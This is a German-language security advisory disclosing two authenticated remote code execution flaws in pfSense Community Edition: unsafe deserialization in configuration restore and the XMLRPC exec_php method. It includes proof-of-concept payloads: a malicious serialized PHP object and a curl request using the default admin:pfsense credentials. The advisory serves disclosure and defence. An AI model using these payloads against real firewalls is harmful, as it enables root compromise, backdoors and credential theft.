🔐 CVE-2025-69690 & CVE-2025-69691

Authentifizierte Remote-Codeausführung in Netgate pfSense Community Edition

📋 Zusammenfassung

⚠️ Haftungsausschluss

Diese Forschung wurde in isolierten Laborumgebungen ausschließlich zu Bildungs- und Sicherheitsbewusstseinszwecken durchgeführt. Alle Erkenntnisse wurden dem Anbieter vor der Veröffentlichung verantwortungsvoll offengelegt. Dieser Sicherheitshinweis stellt keine Einladung dar, Produktionssysteme anzugreifen. Unautorisierte Tests sind illegal.

🎯 CVE-2025-69690

Unsichere Deserialisierung → RCE (pfSense CE 2.7.2)

Beschreibung

Der Wiederherstellungsmechanismus der pfSense-Konfiguration ruft unserialize() für vom Benutzer kontrollierte Daten auf, ohne Klassen-Whitelisting, Eingabevalidierung oder Sandboxing.

Eine manipulierte Sicherungsdatei, die ein bösartiges serialisiertes PHP-Objekt enthält, injiziert beliebige Befehle über die Eigenschaft post_reboot_commands, die über mwexec() mit vollständigen Root-Rechten ausgeführt werden.

Angriffsablauf

[Attacker] → Login as admin
           → Upload malicious .xml backup file
           → Trigger restore
           → pfSense calls unserialize() on attacker data
           → post_reboot_commands executed via mwexec()
           → [ROOT SHELL]

Betroffene Komponenten

• config.php — Verarbeitungslogik der Wiederherstellung
• Klasse pfsense_module_installer — Ziel der unsicheren Deserialisierung
• mwexec() — Senke für die Befehlsausführung

PoC-Payload

O:23:"pfsense_module_installer":1:{
  s:17:"*post_reboot_commands";
  a:1:{
    i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
  }
}

Auswirkungen

• ✅ Beliebige Ausführung von Betriebssystembefehlen als Root
• ✅ Installation persistenter Hintertüren
• ✅ Vollständige Übernahme der Firewall
• ✅ Exfiltration von Anmeldeinformationen und Konfigurationen

Antwort des Anbieters

"Bestätigt. Als authentifizierter administrativer Missbrauch eingestuft. Es wird kein Patch veröffentlicht." — Netgate

🎯 CVE-2025-69691

XMLRPC exec_php → RCE (pfSense CE 2.8.0)

Beschreibung

pfSense CE 2.8.0 bietet eine XMLRPC-Methode pfsense.exec_php an, die beliebigen PHP-Code als Root ausführt – ohne Validierung, Sandboxing oder irgendeine Form von Einschränkung.

Der Endpunkt ist:

• ✅ Standardmäßig aktiviert
• ✅ Über HTTPS aus der Ferne erreichbar
• ✅ Nur durch Basic Authentication geschützt
• ✅ Mit Standard-Anmeldeinformationen (admin:pfsense) ausnutzbar

Angriffsablauf

[Attacker] → Send XMLRPC request to /xmlrpc.php
           → Authenticate with admin:pfsense (default)
           → Call pfsense.exec_php with arbitrary PHP
           → Code executes as root, no sandboxing
           → [ROOT SHELL]

Betroffene Komponenten

• xmlrpc.php — API-Einstiegspunkt
• pfsense.exec_php — unsichere dynamische Codeausführung
• BasicAuth-Schicht — unzureichende Zugriffskontrolle

PoC

curl -k -u admin:pfsense \
  -H "Content-Type: text/xml" \
  -d '<methodCall>
        <methodName>pfsense.exec_php</methodName>
        <params>
          <param>
            <value><string>system("id");</string></value>
          </param>
        </params>
      </methodCall>' \
  https://<target>/xmlrpc.php

Auswirkungen

• ✅ Vollständige Remote-Kompromittierung mit Root-Rechten
• ✅ Beliebiges Lesen/Schreiben von Dateien
• ✅ Installation von Hintertüren
• ✅ Manipulation von Firewall-Regeln
• ✅ Extraktion aller Anmeldeinformationen und Konfigurationen

Antwort des Anbieters

"Bestätigt. Als erwartetes Verhalten für authentifizierte Benutzer eingestuft. Kein Patch geplant." — Netgate

📅 Zeitleiste

November 2025     →  Vulnerabilities discovered
December 2, 2025  →  Responsible disclosure to Netgate
                  →  Vendor acknowledged, no patch planned
January 28, 2026  →  CVE IDs assigned by MITRE
February 2026     →  Public disclosure

🔗 Referenzen

• 🔴 CVE-2025-69690 auf cve.org
• 🔴 CVE-2025-69691 auf cve.org
• 📧 Vollständige Offenlegung: [email protected]

👤 Forscher

Nelson Adhepeau — Unabhängiger Sicherheitsforscher

📧 [email protected]